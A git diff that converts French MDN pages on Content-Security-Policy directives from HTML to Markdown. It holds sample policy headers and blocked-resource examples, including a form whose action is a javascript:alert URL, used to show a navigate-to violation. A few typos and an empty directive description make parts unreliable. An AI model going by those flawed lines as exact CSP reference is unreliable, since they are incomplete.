<code>require-sri-for</code>.</td> - </tr> - <tr> - <td>{{specName("Upgrade Insecure Requests")}}</td> - <td>{{Spec2("Upgrade Insecure Requests")}}</td> - <td>Ajout de <code>upgrade-insecure-requests</code>.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1")}}</td> - <td>{{Spec2("CSP 1.1")}}</td> - <td>Ajout de <code>base-uri</code>, <code>child-src</code>, <code>form-action</code>, <code>frame-ancestors</code>, <code>plugin-types</code>, <code>referrer</code>, <code>reflected-xss</code> et <code>report-uri</code>. Dépréciation de <code>frame-src</code>.</td> - </tr> - <tr> - <td>{{specName("CSP 1.0")}}</td> - <td>{{Spec2("CSP 1.0")}}</td> - <td>Définition de <code>connect-src</code>, <code>default-src</code>, <code>font-src</code>, <code>frame-src</code>, <code>img-src</code>, <code>media-src</code>, <code>object-src</code>, report-uri, <code>sandbox</code>, <code>script-src</code> et <code>style-src</code>.</td> - </tr> - </tbody> -</table> +> **Note :** Les éléments contrôlés pa ar `object-src` sont considérés peut-être par coïcidence comme des éléments HTML du passé et ne recevront de nouvelles fonctionnalités normalisées (comme les attributs de sécurité `sandbox` et `allow` pour `<iframe>`). De ce fait, il est **recommandé** de restreindre cette directive, c'est-à-dire la définir explicitement à `object-src 'none'` dans la mesure du possible. + +- {{CSP("prefetch-src")}} + - : Définit . +- {{CSP("script-src")}} + - : Définit les sources valides pour les fichiers JavaScript. +- {{CSP("script-src-elem")}}{{experimental_inline}} + - : Définit les sources valides de code JavaScript chargé avec l'élément {{HTMLElement("script")}}. +- {{CSP("script-src-attr")}}{{experimental_inline}} + - : Définit les sources valides de JavaScript pour les écouteurs d'évènements par les attributs `on<eventName>`. +- {{CSP("style-src")}} + - : Définit les sources valides pour les feuilles de styles. +- {{CSP("style-src-elem")}}{{experimental_inline}} + - : Définit les sources valides pour les feuilles de styles définies avec l'élément {{HTMLElement("style")}} ou chargées avec l'élément {{HTMLElement("link")}} ayant l'attribut `rel="stylesheet"`. +- {{CSP("style-src-attr")}}{{experimental_inline}} + - : Définit les sources valides pour les feuilles de styles embarquées appliquées à des éléments individuels du DOM par l'attribut `style`. +- {{CSP("worker-src")}} + - : Définit les sources valides pour les scripts des {{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}}. + +### Directives de document + +Les directives de document permettent de paramétrer les propriétés d'un document ou d'un environnement pour [un _web worker_](/fr/docs/Web/API/Web_Workers_API) auquel une règle de sécurité s'applique. + +- {{CSP("base-uri")}} + - : Restreint les URL qui peuvent être utilisées au sein de l'élément {{HTMLElement("base")}} d'un document. +- {{CSP("plugin-types")}} + - : Restreint le type de plugin qui peut être intégré dans un document en limitant le type de ressource qui peut être chargé. +- {{CSP("sandbox")}} + - : Active un bac-à-sable (_sandbox_) pour la ressource visée. Cela fonctionne de façon analogue à l'attribut {{htmlattrxref("sandbox", "iframe")}} de {{HTMLElement("iframe")}}. + +### Directives de navigation + +Les directives de navigation permettent par exemple de paramétrer les emplacements vers lesquels l'utilisateur peut naviguer ou envoyer un formulaire. + +- {{CSP("form-action")}} + - : Restreint les URL qui peuvent être utilisées comme cibles pour envoyer des formulaires depuis un contexte donné. +- {{CSP("frame-ancestors")}} + - : Définit les parent valides qui peuvent intégrer une page grâce aux éléments {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, ou {{HTMLElement("applet")}}. +- {{CSP("navigate-to")}}{{experimental_inline}} + - : Restreint les URL vers lesquelles on peut naviguer depuis un document, quel que soit le moyen de navigation (un lien, un formulaire, `window.location`, `window.open`, etc.) + +### Directives de rapport + +Les directives de rapport permettent de contrôler ce qui se passe lorsqu'une règle CSP est violée. Voir également l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}}. + +- {{CSP("report-uri")}}{{deprecated_inline}} + - : Indique à l'agent utilisateur de rapporter les tentatives d'enfreintes du CSP. Un rapport d'enfreinte est un ensemble de documents JSON envoyés via une requête HTTP `POST` à l'URI indiquée. + +> **Attention :** Bien que la directive [`report-to`](/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to "La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To.") est prévue remplacer la directive **`report-uri`** maintenant dépréciée, [`report-to`](/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to "La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To.") n'est pas encore supportée par la plupart des navigateurs modernes. Par rétrocompatibilité avec les navigateurs courants et tout en prévoyant une compatibilité future quand les navigateurs supporteront [`report-to`](/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to "La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."), vous pouvez spécifier les deux directives **`report-uri`** et [`report-to`](/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to "La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."): +> +> Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname +> +> Dans les navigateurs qui supportent [`report-to`](/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to "La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."), la directive **`report-uri`** sera ignorée. + +- {{CSP("report-to")}}{{experimental_inline}} + - : Déclenche un évènement `SecurityPolicyViolationEvent`. + +### Autres directives + +- {{CSP("block-all-mixed-content")}} + - : Empêche le chargement de toute ressource via HTTP lorsque la page est chargée avec HTTPS. +- {{CSP("referrer")}} {{deprecated_inline}}{{non-standard_inline}} + - : {{HTTPHeader("Referrer-Policy")}} doit être utilisé à la place. Était utilisée pour indiquer l'en-tête référent (sic) pour les liens sortants. +- {{CSP("require-sri-for")}}{{experimental_inline}} + - : Oblige à utiliser le contrôle d'intégrité des sous-ressources ({{Glossary("SRI")}}) pour les scripts ou les styles de la page. +- {{CSP("trusted-types")}}{{experimental_inline}} + - : Utilisée pour spécifier une liste de permissions de règles de [Trusted Types](https://w3c.github.io/webappsec-trusted-types/dist/spec/). Les Trusted Types permettent à des applications de verrouiller les puits d'injection XSS dans le DOM pour n'accepter que des valeurs typées et non falsifiables plutôt que des chaines de caractères. +- {{CSP("upgrade-insecure-requests")}} + - : Indique à l'agent utilisateur de considérer toutes les URL non-sécurisées d'un site (celles servies via HTTP) comme si elles avaient été remplacées par des URL sécurisées. Cette directive est destinée aux sites web qui ont de nombreuses URL historiques non-sécurisées et qui doivent être réécrites. + +## Utilisation du _CSP_ dans les _web workers_ + +En général, les _web workers_ ne sont pas gérés par les règles de sécurité du contenu du document (ou du _worker_ parent) qui les a créé. Pour indiquer une règle de sécurité du contenu pour le _worker_, on utilisera un en-tête de réponse `Content-Security-Policy` pour la requête qui a demandé le script du _worker_. + +Il y a une exception à cette règle lorsque l'origine du script d'un _worker_ est un identifiant global unique (par exemple si l'URL utilise un schéma de donnée ou un blob). Dans ce cas, le _worker_ hérite de la règle de sécurité du contenu depuis le document ou le _worker_ qui l'a créé. + +## Gérer plusieurs politiques de sécurité + +Le CSP permet d'indiquer plusieurs règles pour une même ressource avec l'en-tête `Content-Security-Policy`, l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} et l'élément {{HTMLElement("meta")}}. + +L'en-tête `Content-Security-Policy` peut être utilisé plus d'une fois comme illustré ci-après. On notera la directive {{CSP("connect-src")}} utilisée ici. Bien que la deuxième règle autorise la connexion, la première contient `connect-src 'none'`. L'ajout de règles supplémentaires permet uniquement d'augmenter les protections. Les niveaux les plus stricts pour chaque règle sont alors utilisés. Dans l'exemple qui suit, cela signifie que la directive `connect-src 'none'` sera respectée. + + Content-Security-Policy: default-src 'self' http://example.com; + connect-src 'none'; + Content-Security-Policy: connect-src http://example.com/; + script-src http://example.com/ + +## Exemples + +### Exemple 1 + +Dans cet exemple, on désactive les scripts écrits à même le document (_inline_), les opérations `eval()` et les ressources (images, polices, scripts, etc.) peuvent uniquement être chargées via HTTPS : + + // en-tête HTTP + Content-Security-Policy: default-src https: + + // version avec la balise HTML meta + <meta http-equiv="Content-Security-Policy" content="default-src https:"> + +### Exemple 2 + +Cet exemple est plutôt adapté pour un site historique qui utilise de nombreux scripts écrits dans les documents mais pour lequel on veut s'assurer que les ressources sont chargées via HTTPS et pour lequel on veut désactiver les plugins : + + Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none' + +### Exemple 3 + +On ne met pas en place la règle de sécurité mais on récolte les enfreintes qui se seraient produites pour cette règle : + + Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/ + +Pour plus d'exemples, consulter [les recommandations de Mozilla pour la sécurité web](https://wiki.mozilla.org/Security/Guidelines/Web_Security#Examples_5). + +## Spécifications + +| Spécification | État | Commentaires | +| -------------------------------------------------------- | ---------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| {{specName("CSP 3.0")}} | {{Spec2('CSP 3.0')}} | Ajout de `manifest-src`, `navigation-to`, `report-to`, `strict-dynamic`, `worker-src`. `frame-src` n'est plus déprécié. `report-uri` est déprécié au profit de `report-to`. | +| {{specName("Mixed Content")}} | {{Spec2("Mixed Content")}} | Ajout de `block-all-mixed-content`. | +| {{specName("Subresource Integrity")}} | {{Spec2("Subresource Integrity")}} | Ajout de `require-sri-for`. | +| {{specName("Upgrade Insecure Requests")}} | {{Spec2("Upgrade Insecure Requests")}} | Ajout de `upgrade-insecure-requests`. | +| {{specName("CSP 1.1")}} | {{Spec2("CSP 1.1")}} | Ajout de `base-uri`, `child-src`, `form-action`, `frame-ancestors`, `plugin-types`, `referrer`, `reflected-xss` et `report-uri`. Dépréciation de `frame-src`. | +| {{specName("CSP 1.0")}} | {{Spec2("CSP 1.0")}} | Définition de `connect-src`, `default-src`, `font-src`, `frame-src`, `img-src`, `media-src`, `object-src`, report-uri, `sandbox`, `script-src` et `style-src`. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li> - <li><a href="/fr/Add-ons/WebExtensions/Content_Security_Policy">La sécurité du contenu pour les WebExtensions</a></li> - <li> - <p><a href="/fr/docs/Outils/Barre_de_développement/Display_security_and_privacy_policies">Les sécurités pour l'affichage et la confidentialité dans les outils de développement de Firefox</a></p> - </li> -</ul> +- {{HTTPHeader("Content-Security-Policy-Report-Only")}} +- [La sécurité du contenu pour les WebExtensions](/fr/Add-ons/WebExtensions/Content_Security_Policy) +- [Les sécurités pour l'affichage et la confidentialité dans les outils de développement de Firefox](/fr/docs/Outils/Barre_de_développement/Display_security_and_privacy_policies) diff --git a/files/fr/web/http/headers/content-security-policy/manifest-src/index.md b/files/fr/web/http/headers/content-security-policy/manifest-src/index.md index a99cf41e12..f8ce19a5ab 100644 --- a/files/fr/web/http/headers/content-security-policy/manifest-src/index.md +++ b/files/fr/web/http/headers/content-security-policy/manifest-src/index.md @@ -14,78 +14,69 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/manifest-src --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} <code><strong>manifest-src</strong></code> spécifie quel <a href="/en-US/docs/Web/Manifest">manifeste</a> peut être appliqué à la ressource.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} **`manifest-src`** spécifie quel [manifeste](/en-US/docs/Web/Manifest) peut être appliqué à la ressource. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>3</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td> + Oui, si cette directive est absente, l'agent utilisateur consultera la + directive <code>default-src</code> + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> +Une ou plusieurs sources peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: manifest-src <source>; -Content-Security-Policy: manifest-src <source> <source>; -</pre> + Content-Security-Policy: manifest-src <source>; + Content-Security-Policy: manifest-src <source> <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> +{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}} -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Violation_cases">Violation cases</h3> +### Violation cases -<p>Soit cet en-tête CSP :</p> +Soit cet en-tête CSP : -<pre class="brush: bash">Content-Security-Policy: manifest-src https://example.com/</pre> +```bash +Content-Security-Policy: manifest-src https://example.com/ +``` -<p>Cet élément {{HTMLElement("link")}} sera bloqué et ne se chargera pas :</p> +Cet élément {{HTMLElement("link")}} sera bloqué et ne se chargera pas : -<pre class="brush: html"><link rel="manifest" href="https://not-example.com/manifest"></pre> +```html +<link rel="manifest" href="https://not-example.com/manifest"> +``` -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{specName("CSP 3.0", "#directive-manifest-src", "manifest-src")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +| Spécification | Statut | Commentaire | +| ---------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-manifest-src", "manifest-src")}} | {{Spec2('CSP 3.0')}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.manifest-src")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.manifest-src")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li><a href="/en-US/docs/Web/Manifest">Web app manifest</a></li> - <li>{{HTMLElement("link")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- [Web app manifest](/en-US/docs/Web/Manifest) +- {{HTMLElement("link")}} diff --git a/files/fr/web/http/headers/content-security-policy/media-src/index.md b/files/fr/web/http/headers/content-security-policy/media-src/index.md index 9efb6aef2d..6f8bae8ada 100644 --- a/files/fr/web/http/headers/content-security-policy/media-src/index.md +++ b/files/fr/web/http/headers/content-security-policy/media-src/index.md @@ -14,86 +14,73 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/media-src --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>media-src</strong></code> spécifie les sources valides pour charger des médias en utilisant des éléments tels que {{HTMLElement("audio")}} et {{HTMLElement("video")}}.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`media-src`** spécifie les sources valides pour charger des médias en utilisant des éléments tels que {{HTMLElement("audio")}} et {{HTMLElement("video")}}. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>1</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td> + Oui, si cette directive est absente, l'agent utilisateur consultera la + directive <code>default-src</code> + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> +Une ou plusieurs sources peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: media-src <source>; -Content-Security-Policy: media-src <source> <source>; -</pre> + Content-Security-Policy: media-src <source>; + Content-Security-Policy: media-src <source> <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> +{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}} -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Cas_de_violation">Cas de violation</h3> +### Cas de violation -<p>Soit cet en-tête CSP :</p> +Soit cet en-tête CSP : -<pre class="brush: bash">Content-Security-Policy: media-src https://example.com/</pre> +```bash +Content-Security-Policy: media-src https://example.com/ +``` -<p>Ces éléments {{HTMLElement("audio")}}, {{HTMLElement("video")}} et {{HTMLElement("track")}} seront bloqués et ne se chargeront pas :</p> +Ces éléments {{HTMLElement("audio")}}, {{HTMLElement("video")}} et {{HTMLElement("track")}} seront bloqués et ne se chargeront pas : -<pre class="brush: html"><audio src="https://not-example.com/audio"></audio> +```html +<audio src="https://not-example.com/audio"></audio> -<video src="https://not-example.com/video"> - <track kind="subtitles" src="https://not-example.com/subtitles"> -</video></pre> +<video src="https://not-example.com/video"> + <track kind="subtitles" src="https://not-example.com/subtitles"> +</video> +``` -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{specName("CSP 3.0", "#directive-media-src", "media-src")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Inchangé.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1", "#directive-media-src", "media-src")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +| Spécification | Statut | Commentaire | +| -------------------------------------------------------------------------------- | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-media-src", "media-src")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1", "#directive-media-src", "media-src")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.media-src")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.media-src")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{HTMLElement("audio")}}, {{HTMLElement("video")}} and {{HTMLElement("track")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTMLElement("audio")}}, {{HTMLElement("video")}} and {{HTMLElement("track")}} diff --git a/files/fr/web/http/headers/content-security-policy/navigate-to/index.md b/files/fr/web/http/headers/content-security-policy/navigate-to/index.md index 2a715438a3..06f367d748 100644 --- a/files/fr/web/http/headers/content-security-policy/navigate-to/index.md +++ b/files/fr/web/http/headers/content-security-policy/navigate-to/index.md @@ -13,90 +13,76 @@ tags: - navigate-to translation_of: Web/HTTP/Headers/Content-Security-Policy/navigate-to --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>navigate</strong></code><strong><code>-to</code></strong> restreint les URL vers lesquelles un document peut initier une navigation de quelque manière que ce soit, dont {{HTMLElement("form")}} (si {{CSP("form-action")}} n'est pas spécifié), {{HTMLElement("a")}}, {{DOMxRef("window.location")}}, {{DOMxRef("window.open")}}, etc. Elle permet de renforcer les navigations que le document peut initier et <strong>non</strong> les adresses vers lesquelles ce document peut naviguer.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`navigate`\*\***`-to`** restreint les URL vers lesquelles un document peut initier une navigation de quelque manière que ce soit, dont {{HTMLElement("form")}} (si {{CSP("form-action")}} n'est pas spécifié), {{HTMLElement("a")}}, {{DOMxRef("window.location")}}, {{DOMxRef("window.open")}}, etc. Elle permet de renforcer les navigations que le document peut initier et **non\*\* les adresses vers lesquelles ce document peut naviguer. -<div class="note"> -<p><strong>Note :</strong> Si la directive {{CSP("form-action")}} est présente, la directive <code>navigate-to</code> ne sera pas appliquée sur la navigation par la soumission de formulaire.</p> -</div> +> **Note :** Si la directive {{CSP("form-action")}} est présente, la directive `navigate-to` ne sera pas appliquée sur la navigation par la soumission de formulaire. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>3</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Navigation directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td>Non, ne pas la définir autorise toutes les adresses.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Navigation directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Non, ne pas la définir autorise toutes les adresses.</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être utilisées pour cette directive :</p> +Une ou plusieurs sources peuvent être utilisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: navigate-to <source>; -Content-Security-Policy: navigate-to <source> <source>; -</pre> + Content-Security-Policy: navigate-to <source>; + Content-Security-Policy: navigate-to <source> <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> +{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}} -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Configuration_par_balise_<meta>">Configuration par balise <meta></h3> +### Configuration par balise \<meta> -<pre class="brush: html"><meta http-equiv="Content-Security-Policy" content="navigate-to 'none'"> -</pre> +```html +<meta http-equiv="Content-Security-Policy" content="navigate-to 'none'"> +``` -<h3 id="Cas_de_violation">Cas de violation</h3> +### Cas de violation -<p>Utiliser l'élément {{HTMLElement("form")}} avec un attribut <code>action</code> défini à un script embarqué en JavaScript résultera en une violation de CSP :</p> +Utiliser l'élément {{HTMLElement("form")}} avec un attribut `action` défini à un script embarqué en JavaScript résultera en une violation de CSP : -<pre class="brush: html; example-bad"><meta http-equiv="Content-Security-Policy" content="navigate-to 'none'"> +```html example-bad +<meta http-equiv="Content-Security-Policy" content="navigate-to 'none'"> -<form action="javascript:alert('Foo')" id="form1" method="post"> - <input type="text" name="fieldName" value="fieldValue"> - <input type="submit" id="submit" value="submit"> -</form> -</pre> +<form action="javascript:alert('Foo')" id="form1" method="post"> + <input type="text" name="fieldName" value="fieldValue"> + <input type="submit" id="submit" value="submit"> +</form> +``` -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{specName("CSP 3.0", "#directive-navigate-to", "navigate-to")}}</td> - <td>{{Spec2("CSP 3.0")}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +| Spécification | Statut | Commentaire | +| ------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-navigate-to", "navigate-to")}} | {{Spec2("CSP 3.0")}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.navigate-to")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.navigate-to")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPheader("Content-Security-Policy")}}</li> - <li>{{CSP("form-action")}}</li> - <li>Attribut <code>href</code> {{HTMLElement("a")}}</li> - <li>{{HTMLElement("form")}}</li> - <li>{{DOMxRef("window.location")}}</li> - <li>{{DOMxRef("window.open")}}</li> -</ul> +- {{HTTPheader("Content-Security-Policy")}} +- {{CSP("form-action")}} +- Attribut `href` {{HTMLElement("a")}} +- {{HTMLElement("form")}} +- {{DOMxRef("window.location")}} +- {{DOMxRef("window.open")}} diff --git a/files/fr/web/http/headers/content-security-policy/object-src/index.md b/files/fr/web/http/headers/content-security-policy/object-src/index.md index 46cca9c2ee..4ca366f9a3 100644 --- a/files/fr/web/http/headers/content-security-policy/object-src/index.md +++ b/files/fr/web/http/headers/content-security-policy/object-src/index.md @@ -14,91 +14,76 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/object-src --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} <code><strong>object-src</strong></code> spécifie les sources valides pour les éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} **`object-src`** spécifie les sources valides pour les éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}. -<p>Pour définir des types autorisés pour les éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}, voir la directive {{CSP("plugin-types")}}.</p> +Pour définir des types autorisés pour les éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}, voir la directive {{CSP("plugin-types")}}. -<div class="notecard note"> - <p><strong>Note :</strong> Les éléments contrôlés par <code>object-src</code> sont considérés peut-être par coïcidence comme des éléments HTML du passé et ne recevront de nouvelles fonctionnalités normalisées (comme les attributs de sécurité <code>sandbox</code> et <code>allow</code> pour <code><iframe></code>). De ce fait, il est <a href="https://csp.withgoogle.com/docs/strict-csp.html">recommandé</a> de restreindre cette directive, c'est-à-dire la définir explicitement à <code>object-src 'none'</code> dans la mesure du possible.</p> -</div> +> **Note :** Les éléments contrôlés par `object-src` sont considérés peut-être par coïcidence comme des éléments HTML du passé et ne recevront de nouvelles fonctionnalités normalisées (comme les attributs de sécurité `sandbox` et `allow` pour `<iframe>`). De ce fait, il est [recommandé](https://csp.withgoogle.com/docs/strict-csp.html) de restreindre cette directive, c'est-à-dire la définir explicitement à `object-src 'none'` dans la mesure du possible. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>1</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td> + Oui, si cette directive est absente, l'agent utilisateur consultera la + directive <code>default-src</code> + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> +Une ou plusieurs sources peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: object-src <source>; -Content-Security-Policy: object-src <source> <source>; -</pre> + Content-Security-Policy: object-src <source>; + Content-Security-Policy: object-src <source> <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> +{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}} -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Cas_de_violation">Cas de violation</h3> +### Cas de violation -<p>Soit cet en-tête CSP :</p> +Soit cet en-tête CSP : -<pre class="brush: bash">Content-Security-Policy: object-src https://example.com/</pre> +```bash +Content-Security-Policy: object-src https://example.com/ +``` -<p>Ces éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}} seront bloqués et ne se chargeront pas :</p> +Ces éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}} seront bloqués et ne se chargeront pas : -<pre class="brush: html"><embed src="https://not-example.com/flash"></embed> -<object data="https://not-example.com/plugin"></object> -<applet archive="https://not-example.com/java"></applet></pre> +```html +<embed src="https://not-example.com/flash"></embed> +<object data="https://not-example.com/plugin"></object> +<applet archive="https://not-example.com/java"></applet> +``` -<h2 